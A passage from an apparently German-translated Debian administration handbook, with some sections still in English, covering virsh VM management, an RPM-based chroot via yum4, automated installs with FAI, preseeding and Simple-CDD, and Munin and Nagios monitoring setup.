Jetzt läuft der virtuelle Rechner, und wir müssen uns mit der grafischen Konsole verbinden, um den Installationsprozess fortzusetzen. Falls die bisherigen Schritte in einer grafischen Arbeitsumgebung ausgeführt wurden, sollte diese Verbindung von sich aus starten. Anderenfalls, oder falls wir aus der Ferne arbeiten, kann virt-viewer von jeder beliebigen grafischen Umgebung aus aufgerufen werden, um die grafische Konsole zu öffnen (man beachte, dass zweimal nach dem Root-Passwort des entfernten Hosts gefragt wird, da dieser Arbeitsgang zwei SSH-Verbindungen erfordert):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Abbildung 12.1. Connecting to installer session using virt-viewer

Wenn der Installationsprozess endet, startet der virtuelle Rechner neu und ist dann einsatzbereit.

12.2.3.4. Rechner mit virsh verwalten

Nachdem die Installation nunmehr erledigt ist, wollen wir sehen, wie man mit den vorhandenen virtuellen Rechnern umgeht. Zunächst soll libvirtd nach einer Liste der virtuellen Rechner, die er verwaltet, gefragt werden:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

Lassen Sie uns unseren virtuellen Testrechner starten:

# virsh -c qemu:///system start testkvm Domain testkvm started

Wir können jetzt die Verbindungshinweise für die grafische Konsole bekommen (die angegebene VNC-Anzeige kann als Parameter an vncviewer übergeben werden):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

Zu den weiteren bei virsh verfügbaren Unterbefehlen gehören:

reboot, um einen virtuellen Rechner neu zu starten;

shutdown, um ein sauberes Herunterfahren einzuleiten;

destroy, um ihn brutal zu stoppen;

suspend, um ihn in den Bereitschaftsbetrieb zu versetzen;

resume, um ihn wieder in Betrieb zu nehmen;

autostart, um den automatischen Start des virtuellen Rechners beim Hochfahren des Hosts zu aktivieren (oder ihn mit der Option --disable zu deaktivieren);

undefine, um alle Spuren des virtuellen Rechners von libvirtd zu entfernen.

Alle diese Unterbefehle erfordern als einen ihrer Parameter die Kennung eines virtuellen Rechners.

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum4 --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo # chroot /srv/centos/ [root@testsystem /]#

12.3. Automatische Installation

Die Falcot Corp. Administratoren benötigen, wie viele Administratoren großer IT-Dienste, Werkzeuge, um ihre neuen Rechner schnell aufzusetzen (oder wieder aufzusetzen), und das möglichst automatisch.

Diese Erfordernisse können von einer großen Vielzahl von Lösungen erfüllt werden. Auf der einen Seite erledigen allgemeine Hilfsprogramme wie zum Beispiel SystemImager dies, indem sie von einem Rechner als Vorlage ein Abbild erzeugen und dieses dann auf den Zielsystemen einrichten. Am anderen Ende des Spektrums kann das normale Debian-Installationsprogramm mit einer Konfigurationsdatei voreingestellt werden, die die Fragen, die während des Installationsprozesses gestellt werden, beantwortet. Als eine Art Mittelweg setzt ein Hybridwerkzeug wie FAI (Fully Automatic Installer) Rechner unter Verwendung des Paketsystems auf, gleichzeitig verwendet es aber auch seine eigene Infrastruktur für Aufgaben, die für eine Massenverteilung typisch sind (wie zum Beispiel das Starten, Partitionieren, Konfigurieren und so weiter).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer ist vielleicht das älteste automatische Einrichtungssystem für Debian, wodurch sich sein Status als Referenz erklärt. Seine sehr flexible Art ist jedoch nur ein schwacher Ausgleich für die mit ihm einhergehende Kompliziertheit.

FAI erfordert ein Server-System, um die Einrichtungsinformation zu speichern und das Hochfahren der Zielrechner über das Netzwerk zu ermöglichen. Dieser Server benötigt das Paket fai-server (oder fai-quickstart, das auch die für eine Standardkonfiguration erforderlichen Elemente mit sich bringt).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

Um alle diese Konfigurationsdateien erstellen zu können, ist ein gewisses Verständnis darüber erforderlich, wie FAI funktioniert. Ein typischer Installationsprozess besteht aus folgenden Schritten:

einen Kernel aus dem Netzwerk holen und laden;

das Wurzel-Dateisystem des NFS einhängen;

/usr/sbin/fai ausführen, das den Rest des Prozesses steuert (die folgenden Schritte werden daher durch dieses Skript ausgelöst);

den Konfigurationsraum vom Server nach /fai/ kopieren;

fai-class ausführen. Die Skripten /fai/class/[0-9][0-9]* werden nacheinander ausgeführt und ergeben Bezeichnungen für „Klassen“, die für den Rechner gelten, der gerade installiert wird; diese Information dient als Grundlage für die nachfolgenden Schritte. Es ermöglicht eine gewisse Flexibilität in der Festlegung der Dienste, die installiert und konfiguriert werden.

eine Anzahl von Konfigurationsvariablen in Abhängigkeit von den entsprechenden Klassen holen;

die Festplatten partitionieren und die Partitionen formatieren auf der Grundlage der in /fai/disk_config/klasse bereitgestellten Informationen;

diese Partitionen einhängen;

das Grundsystem installieren;

die Debconf-Datenbank mit fai-debconf voreinstellen;

die Liste verfügbarer Pakete für APT holen;

die in /fai/package_config/klasse aufgelisteten Pakete installieren;

die Nachkonfigurationsskripten /fai/scripts/klasse/[0-9][0-9]* ausführen;

die Installationsprotokolle speichern, die Partitionen aushängen und einen Neustart durchführen.

12.3.2. Das Debian-Installationsprogramm voreinstellen

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

WEITERE SCHRITTE Debconf mit einer zentralisierten Datenbank

Preeseeding ermöglicht es, zur Zeit der Installation einen Satz von Antworten auf Fragen von Debconf bereitzustellen, jedoch sind diese Antworten statisch und entwickeln sich im Laufe der Zeit nicht weiter. Da bereits installierte Rechner möglicherweise aktualisiert werden müssen, und neue Antworten erforderlich werden, kann die Konfigurationsdatei /etc/debconf.conf so eingerichtet werden, dass Debconf externe Datenquellen benutzt (wie zum Beispiel einen LDAP-Verzeichnis-Server oder eine entfernte Datei, die über NFS oder Samba zugegriffen wird). Mehrere externe Datenquellen können gleichzeitig festgelegt werden, und sie ergänzen einander. Die lokale Datenbank wird weiterhin (für Lese- und Schreibzugriff) genutzt, während die entfernten Datenbanken gewöhnlich nur gelesen werden können. Die Handbuchseite debconf.conf(5) beschreibt alle Möglichkeiten im Detail (sie benötigen das debconf-doc Paket).

12.3.2.1. Eine Preseed-Datei verwenden

Es gibt mehrere Orte, an denen das Installationsprogramm eine Preseed-Datei erhalten kann:

in der initrd, die zum Hochfahren des Rechners verwendet wird; in diesem Fall geschieht das Preseeding ganz zu Anfang der Installation, und alle Fragen können vermieden werden. Die Datei muss nur preseed.cfg genannt und im Hauptverzeichnis von initrd gespeichert werden.

auf den Boot-Medien (CD oder USB-Stick); das Preseeding geschieht dann, sobald das Medium eingehängt ist, das heißt, gleich nach den Fragen nach der Sprache und der Tastaturbelegung. Der Boot-Parameter preseed/file kann benutzt werden, um den Ort der Preseed-Datei anzugeben (zum Beispiel /cdrom/preseed.cfg, wenn die Installation von einer CD-ROM aus erfolgt, oder /hd-media/preseed.cfg im Falle eines USB-Sticks).

from the network; preseeding then only happens after the network is (automatically) configured; the relevant boot parameter is then preseed/url=http://server/preseed.cfg (HTTPS, FTPS, SFTP, etc. are not supported).

Auf den ersten Blick sieht es so aus, als bestehe die interessanteste Lösung darin, die Preseed-Datei in die initrd einzufügen; jedoch wird dies in der Praxis selten genutzt, da es recht kompliziert ist, eine Installations-initrd zu erstellen. Die anderen beiden Lösungen finden sich weit häufiger, vor allem da Boot-Parameter einen weiteren Weg zur Bereitstellung von Antworten auf die ersten Fragen des Installationsprozesses darstellen. Um sich die Mühe zu sparen, diese Boot-Parameter bei jeder Installation von Hand einzugeben, besteht der übliche Weg darin, sie in der Konfiguration für isolinux (im Falle der CD-ROM) oder für syslinux (beim USB-Stick) abzuspeichern.

12.3.2.2. Eine Preseed-Datei erstellen

Eine Preseed-Datei ist eine reine Textdatei, in der jede Zeile die Antwort auf eine Debconf-Frage enthält. Eine Zeile ist über vier Felder aufgeteilt, die durch Leerraum (Leerzeichen oder Tabulatoren) getrennt sind, wie zum Beispiel in d-i mirror/suite string stable:

das erste Feld ist der „Besitzer“ der Frage; „d-i“ wird für Fragen verwendet, für die das Installationsprogramm zuständig ist, es kann aber auch ein Paketname sein für Fragen, die von Debian-Paketen kommen;

the second field is an identifier for the question (the template name);

das dritte die Art der Frage;

das vierte und letzte Feld enthält den Eingabewert für die Antwort. Man beachte, dass es vom dritten Feld durch ein einzelnes Leerzeichen getrennt sein muss; gibts es weitere, so werden alle folgenden Leerzeichen als Teil des Eingabewerts betrachtet.

Am einfachsten lässt sich eine Preseed-Datei schreiben, indem man ein System von Hand installiert. Dabei stellt debconf-get-selections --installer die Antworten bereit, die das Installationsprogramm betreffen. Antworten zu anderen Paketen können mit debconf-get-selections erlangt werden. Eine sauberere Lösung besteht jedoch darin, die Preseed-Datei von Hand zu schreiben, indem man mit einem Beispiel und der Referenz-Dokumentation beginnt: bei dieser Herangehensweise brauchen nur Fragen, bei denen die voreingestellte Antwort geändert werden muss, angegeben zu werden; mit dem Boot-Parameter priority=critical weist man Debconf an, nur kritische Fragen zu stellen und für die übrigen die voreingestellten Antworten zu verwenden.

Pre-setting a value in a preseed file automatically instructs the Debian installer to not ask that question. This happens, because loading the preseed file does not just set the given value(s), but also marks each of the affected dialogs as “seen“ by the user. Thus it is possible to pre-set a question's value and still present the dialog to the user by resetting the “seen“ flag. Beware that order in this case matters and that the value has to be preseeded before setting the dialog to “unseen“ as shown in the following example:

d-i netcfg/hostname string worker d-i netcfg/hostname seen false

DOKUMENTATION Anhang zur Installationsanleitung

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations. There are also collections of all debconf templates extracted from each component and suite of Debian:

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

→ https://preseed.debian.net/

Preseeding an installation is often not as straightforward as one would wish. It sometimes requires to understand how packages process the given values in their scripts. Don't hesitate to ask on the <debian-cd@lists.debian.org> mailing list or in the #debian-cd IRC channel if you require help. Also be aware that some complex setups still cannot be achieved by preseeding.

12.3.2.3. Ein angepasstes Boot-Medium erstellen

Zwar ist es gut zu wissen, wo die Preseed-Datei gespeichert werden sollte, aber der Ort ist nicht alles: man muss auf die eine oder andere Weise das Boot-Medium für die Installation anpassen, um die Boot-Parameter zu ändern und die Preseed-Datei hinzuzufügen.

12.3.2.3.1. Aus dem Netzwerk hochfahren

Wenn ein Rechner aus dem Netzwerk hochgefahren wird, legt der Server, der die Initialisierungselemente sendet, auch die Boot-Parameter fest. Daher müssen die Änderungen in der PXE-Konfiguration für den Boot-Server vorgenommen werden; genauer gesagt in seiner Konfigurationsdatei /tftpboot/pxelinux.cfg/default. Voraussetzung hierfür ist, dass das Hochfahren aus dem Netzwerk eingerichtet wird; siehe die Installationsanleitung für Einzelheiten.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. Einen bootfähigen USB-Stick herstellen

Once a bootable key has been prepared (see Abschnitt 4.1.2, „Von einem USB-Stick hochfahren“), a few extra operations are needed. Assuming the key contents are available under /media/usbdisk/, copy the preseed file to /media/usbdisk/preseed.cfg.

If you have been using a hybrid ISO image to create the bootable USB stick, then you have to edit /media/usbdisk/boot/grub/grub.cfg (for the EFI boot screen):

Beispiel 12.2. boot/grub/grub.cfg file and preseeding parameters

menuentry --hotkey=i 'Install' { set background_color=black linux /install.amd/vmlinuz preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 --- quiet initrd /install.amd/initrd.gz }

And you have to edit /media/usbdisk/isolinux/isolinux.cfg (for BIOS boot) or one of the files it utilizes - e.g. /media/usbdisk/isolinux/txt.cfg - to add required boot parameters:

Beispiel 12.3. isolinux/txt.cfg file and preseeding parameters

label install menu label ^Install kernel [...] append preseed/file=/cdrom/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=/install.amd/initrd.gz --- quiet

If you have been using the hd-media installer image for a custom USB stick, edit /media/usbdisk/syslinux.cfg and add the required boot parameters as shown in the example below:

Beispiel 12.4. syslinux.cfg-Datei und Preseeding-Parameter

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. Ein CD-ROM-Abbild erstellen

Ein USB-Stick ist ein Lese- und Schreibmedium, von daher war es für uns einfach, auf ihm eine Datei hinzuzufügen und einige Parameter zu ändern. Im Falle einer CD-ROM ist dieser Vorgang komplizierter, da wir ein vollständiges ISO-Abbild neu erstellen müssen. Diese Aufgabe wird von debian-cd erledigt, jedoch ist dieses Hilfsprogramm in der Anwendung recht umständlich: es benötigt einen lokalen Spiegel, und es erfordert das Verständnis aller Optionen, die /usr/share/debian-cd/CONF.sh bietet; selbst dann noch muss make mehrmals aufgerufen werden. Es ist daher empfehlenswert, /usr/share/debian-cd/README durchzulesen.

Having said that, debian-cd always operates in a similar way: an “image” directory with the exact contents of the CD-ROM is generated, then converted to an ISO file with a tool such as genisoimage, mkisofs or xorriso. The image directory is finalized after debian-cd's make image-trees step. At that point, we insert the preseed file into the appropriate directory (usually $TDIR/$CODENAME/CD1/, $TDIR and $CODENAME being parameters defined by the CONF.sh configuration file). The CD-ROM uses isolinux as its bootloader, and its configuration file must be adapted from what debian-cd generated, in order to insert the required boot parameters (the specific files are $TDIR/$CODENAME/CD1/isolinux/isolinux.cfg and $TDIR/$CODENAME/CD1/boot/grub/grub.cfg as shown above). Then the “normal” process can be resumed, and we can go on to generating the ISO image with make image CD=1 (or make images if several CD-ROMs are generated).

12.3.3. Simple-CDD: die Komplettlösung

Um alle Erfordernisse zu erfüllen, die bei großen Verbreitungsaktionen auftreten, genügt es nicht, einfach eine Preseed-Datei zu verwenden. Obwohl es damit möglich ist, am Ende des normalen Installationsprozesses einige Skripten auszuführen, ist die Auswahl des zu installierenden Satzes von Paketen noch nicht sehr flexibel (im Grunde können nur „Aufgaben“ ausgewählt werden); wichtiger ist noch, dass so nur offizielle Debian-Pakete installiert werden können und lokal erstellte ausgeschlossen sind.

On the other hand, debian-cd is able to integrate external packages, and debian-installer can be extended by inserting new steps in the installation process. By combining these capabilities, it should be possible to create a customized installer that fulfills our needs; it should even be able to configure some services after unpacking the required packages. Fortunately, this is not a mere hypothesis, since this is exactly what simple-cdd does.

The purpose of this tool is to allow anyone to easily create a distribution derived from Debian, by selecting a subset of the available packages, preconfiguring them with Debconf, adding specific software, and executing custom scripts at the end of the installation process. This matches the “universal operating system” philosophy, since anyone can adapt it to their own needs.

12.3.3.1. Profile erstellen

Simple-CDD legt „Profile“ fest, die dem Konzept der „Klassen“ bei FAI entsprechen, und ein Rechner kann über mehrere Profile verfügen (die während der Installation bestimmt werden). Ein Profil wird durch einen Satz von Dateien namens profiles/profil.* definiert:

die Datei .description enthält eine einzeilige Beschreibung des Profils;

die Datei .packages listet die Pakete auf, die bei der Auswahl des Profils automatisch installiert werden;

die Datei .downloads listet die Pakete auf, die auf den Installationsmedien gespeichert, aber nicht unbedingt installiert werden;

die Datei .preseed enthält die Preseeding-Information für Debconf-Fragen (für das Installationsprogramm und für die Pakete);

die Datei .postinst enthält ein Skript, das am Ende des Installationsprozesses ausgeführt wird;

lastly, the .conf file allows changing some parameters based on the profiles to be included in an image.

Das Profil default spielt eine besondere Rolle, da es immer ausgewählt ist; es enthält das absolute Minimum dessen, das erforderlich ist, damit Simple-CDD funktioniert. Das Einzige, das in diesem Profil normalerweise angepasst ist, ist der Preseed-Parameter simple-cdd/profiles: er vermeidet die Frage, welche Profile installiert werden sollen, die sonst von Simple-CDD gestellt würde.

Man beachte auch, dass die Befehle von dem Verzeichnis aus aufgerufen werden müssen, das dem Verzeichnis profiles übergeordnet ist.

12.3.3.2. build-simple-cdd konfigurieren und benutzen

KURZER BLICK Detaillierte Konfigurationsdatei

An example of a Simple-CDD configuration file, with most possible parameters, is included in the package (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed). This can be used as a starting point when creating a custom configuration file. Unfortunately not everything is documented there, so some variables are only listed and explained in /usr/lib/python3/dist-packages/simple_cdd/variables.py.

It is further important to familiarize yourself with the variables understood by /usr/share/debian-cd/CONF.sh.

Simple-CDD erfordert zahlreiche Parameter, um in vollem Umfang zu wirken. Sie sind meistens in einer Konfigurationsdatei versammelt, an die build-simple-cdd mit der Option --conf verwiesen werden kann, sie können aber auch über besondere Parameter festgelegt werden, die an build-simple-cdd übergeben werden. Hier ist ein Überblick darüber, wie sich dieser Befehl verhält, und wie die Parameter eingesetzt werden:

der Parameter profiles listet die Profile auf, die in dem erzeugten CD-ROM-Abbild enthalten sein werden;

ausgehend von der Liste der erforderlichen Pakete lädt Simple-CDD die passenden Dateien von dem Server herunter, der unter server genannt ist, und versammelt sie in einem partiellen Spiegel (der später an debian-cd übergeben wird);

die selbst erstellten Pakete, die in local_packages angegeben sind, werden auch in diesen lokalen Spiegel integriert;

dann wird debian-cd mit der Liste der zu integrierenden Pakete ausgeführt (innerhalb eines voreingestellten Ortes, der mit der Variablen debian_cd_dir festgelegt werden kann);

sobald debian-cd sein Verzeichnis erstellt hat, wendet Simple-CDD einige Änderungen auf dieses Verzeichnis an:

Dateien, die die Profile enthalten, werden einem Unterverzeichnis namens simple-cdd hinzugefügt (das sich schließlich auf der CD-ROM wiederfinden wird);

weitere Dateien, die im Parameter all_extras aufgeführt sind, werden ebenfalls hinzugefügt;

die Boot-Parameter werden so angepasst, dass sie das Preseeding ermöglichen. Fragen zur Sprache und zum Land können vermieden werden, indem die erforderliche Information in den Variablen language und country gespeichert wird.

debian-cd erzeugt dann das endgültige ISO-Abbild.

12.3.3.3. Ein ISO-Abbild erzeugen

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-11-amd64-CD-1.iso.

12.4. Überwachung

Monitoring ist ein allgemeiner Ausdruck, und die verschiedenen damit verbundenen Aktivitäten haben mehrere Ziele: einerseits ist es durch die Verfolgung der Ressourcennutzung eines Rechners möglich, seine volle Auslastung und die daraufhin erforderlichen Nachrüstungen vorherzusehen; andererseits kann ein auftretendes Problem frühzeitiger behoben werden, wenn der Administrator informiert wird, sobald ein Dienst nicht verfügbar ist oder nicht richtig funktioniert.

Munin deckt den ersten Bereich ab, indem es Diagramme der vergangenen Werte einer Reihe von Parametern anzeigt (verwendetes RAM, belegter Plattenplatz, Prozessorlast, Netzwerkverkehr, Apache/MySQL-Auslastung und so weiter). Nagios umfasst den zweiten Bereich, indem es regelmäßig überprüft, ob die Dienste funktionieren und verfügbar sind, und indem es über geeignete Kanäle (E-Mails, Textnachrichten und so weiter) Warnungen verschickt. Beide haben eine modulare Bauweise, wodurch es einfach ist, neue Plugins zur Überwachung bestimmter Parameter oder Dienste zu erstellen.

ALTERNATIVE Zabbix, ein integriertes Monitoringprogramm

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://zabbix.com/

ALTERNATIVE Icinga, eine Nagios-Abspaltung

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://icinga.com/

12.4.1. Munin einrichten

Munin hat die Aufgabe, zahlreiche Rechner zu überwachen; daher verwendet es natürlich eine Client/Server-Architektur. Der zentrale Host - der Grapher - sammelt Daten aller überwachten Hosts und erzeugt Verlaufsdiagramme.

12.4.1.1. Zu überwachende Hosts konfigurieren

Der erste Schritt besteht darin, das Paket munin-node zu installieren. Der Daemon, der mit diesem Paket installiert wird, nimmt an Port 4949 Verbindungen an und sendet die Daten zurück, die von allen aktiven Plugins gesammelt werden. Jedes Plugin ist ein einfaches Programm, das sowohl eine Beschreibung der gesammelten Daten als auch die jüngsten Messwerte wiedergibt. Plugins werden in /usr/share/munin/plugins/ gespeichert, aber nur diejenigen mit einer symbolischen Verknüpfung in /etc/munin/plugins/ werden tatsächlich benutzt.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this auto-configuration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery can be interesting even though not all plugins have comprehensive documentation.

→ https://gallery.munin-monitoring.org

However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Nachdem alle Plugins richtig eingerichtet sind, muss die Konfiguration des Daemons aktualisiert werden, um die Zugriffskontrolle für die gesammelten Daten zu beschreiben. Hierzu sind allow-Anweisungen in der Datei /etc/munin/munin-node.conf erforderlich. Die voreingestellte Konfiguration lautet allow ^127\.0\.0\.1$ und ermöglicht nur Zugriff auf den lokalen Host. Ein Administrator fügt gewöhnlich eine ähnliche Zeile mit der IP-Adresse des Grapher-Hosts hinzu und startet den Daemon anschließend mit systemctl restart munin-node neu.

WEITERE SCHRITTE Lokale Plugins erstellen

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ https://guide.munin-monitoring.org/en/latest/plugin/writing.html

Ein Plugin wird am besten getestet, indem man es unter den gleichen Bedingungen laufen lässt, unter denen es laufen würde, wenn es durch munin-node in Gang gesetzt würde; dies kann dadurch simuliert werden, dass man munin-run plugin als Root ausführt. Ein möglicher weiterer Parameter, der diesem Befehl hinzugefügt wird (wie zum Beispiel config), wird als Parameter an das Plugin weitergeleitet.

Wenn ein Plugin mit dem Parameter config aufgerufen wird, muss es sich selbst beschreiben, indem es einen Satz von Feldern wiedergibt:

# munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

Die verschiedenen möglichen Felder sind in der Spezifikation „Plugin Reference“ auf der Munin-Webseite beschrieben.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

Wenn es ohne einen Parameter aufgerufen wird, gibt das Plugin einfach die zuletzt gemessenen Werte wieder; so könnte zum Beispiel die Ausführung des Befehls sudo munin-run load die Meldung load.value 0.12 ergeben.

Wenn schließlich ein Plugin mit dem Parameter autoconf aufgerufen wird, sollte es mit „yes“ (und dem Beendigungsstatus 0) oder mit „no“ (und dem Beendigungsstatus 1) antworten, je nachdem, ob das Plugin auf diesem Host aktiviert sein sollte oder nicht.

12.4.1.2. Den Grapher konfigurieren

Der „Grapher“ ist einfach der Rechner, der die Daten aggregiert und die entsprechenden Diagramme erzeugt. Die erforderliche Software befindet sich in dem Paket munin. Die voreingestellte Konfiguration führt (alle 5 Minuten) den Befehl munin-cron aus, der die Daten von allen Hosts, die in /etc/munin/munin.conf aufgelistet sind (nur der lokale Host ist hier standardmäßig aufgeführt), sammelt, die vergangenen Daten in RRD-Dateien (Round Robin Database, einem Dateiformat zur Speicherung von Daten, die sich im Verlaufe der Zeit ändern) unter /var/lib/munin/ speichert und in /var/cache/munin/www/ eine HTML-Seite mit den Diagrammen erstellt.

Alle überwachten Rechner müssen daher in der Konfigurationsdatei /etc/munin/munin.conf aufgeführt sein. Jeder Rechner ist als vollständiger Absatz aufgelistet mit einer Bezeichnung, die dem Rechner entspricht und wenigstens einem address-Eintrag, der die dazugehörige IP-Adresse angibt.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

Die Absätze können komplexer sein und zusätzliche Diagramme beschreiben, die durch die Kombination von Daten mehrerer Rechner erzeugt werden könnten. Die in der Konfigurationsdatei bereitgestellten Beispiele sind ein guter Ausgangspunkt für die Anpassung.

Der letzte Schritt besteht darin, die erstellten Seiten zu veröffentlichen; hierzu muss ein Webserver konfiguriert werden, so dass der Inhalt von /var/cache/munin/www/ auf einer Webseite zur Verfügung gestellt wird. Der Zugriff auf diese Webseite ist häufig beschränkt, indem entweder ein Authentifizierungsmechanismus oder eine IP-basierte Zugriffskontrolle eingesetzt wird. Siehe Abschnitt 11.2, „Webserver (HTTP)“ für entsprechende Einzelheiten.

12.4.2. Nagios einrichten

Im Gegensatz zu Munin ist es bei Nagios nicht unbedingt erforderlich, auf den überwachten Hosts irgendetwas zu installieren; in den meisten Fällen wird Nagios dazu verwendet, die Verfügbarkeit von Netzwerkdiensten zu überprüfen. Nagios kann sich zum Beispiel mit einem Webserver verbinden und nachprüfen, ob eine bestimmte Webseite in einer bestimmten Zeit erhältlich ist.

12.4.2.1. Installieren

Der erste Schritt bei der Einrichtung von Nagios ist die Installation der Pakete nagios4 und monitoring-plugins. Durch die Installation der Pakete werden das Webinterface und der Apache-Server konfiguriert. Für diese Ausführung müssen die Apache-Module authz_groupfile und auth_digest aktiviert werden:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Das Hinzufügen anderer Benutzer ist einfach: man fügt sie in die Datei /etc/nagios4/hdigest.users ein.

Mit der Eingabe von http://Server/nagios4/ in einen Browser wird die Webschnittstelle angezeigt; man beachte insbesondere, dass Nagios auf dem Rechner, auf dem es läuft, bereits einige Parameter überwacht. Einige interaktive Funktionen, wie zum Beispiel das Hinzufügen von Kommentaren zu einem Host, laufen jedoch noch nicht. Diese Funktionen sind in der voreingestellten Konfiguration für Nagios, die aus Sicherheitsgründen sehr restriktiv ist, deaktiviert.

Zur Aktivierung einiger Funktionen ist es erforderlich, /etc/nagios4/nagios.cfg zu editieren. Wir müssen außerdem mit Befehlen wie den folgenden Schreibberechtigungen für das Verzeichnis einrichten, das Nagios benutzt:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. Konfigurieren

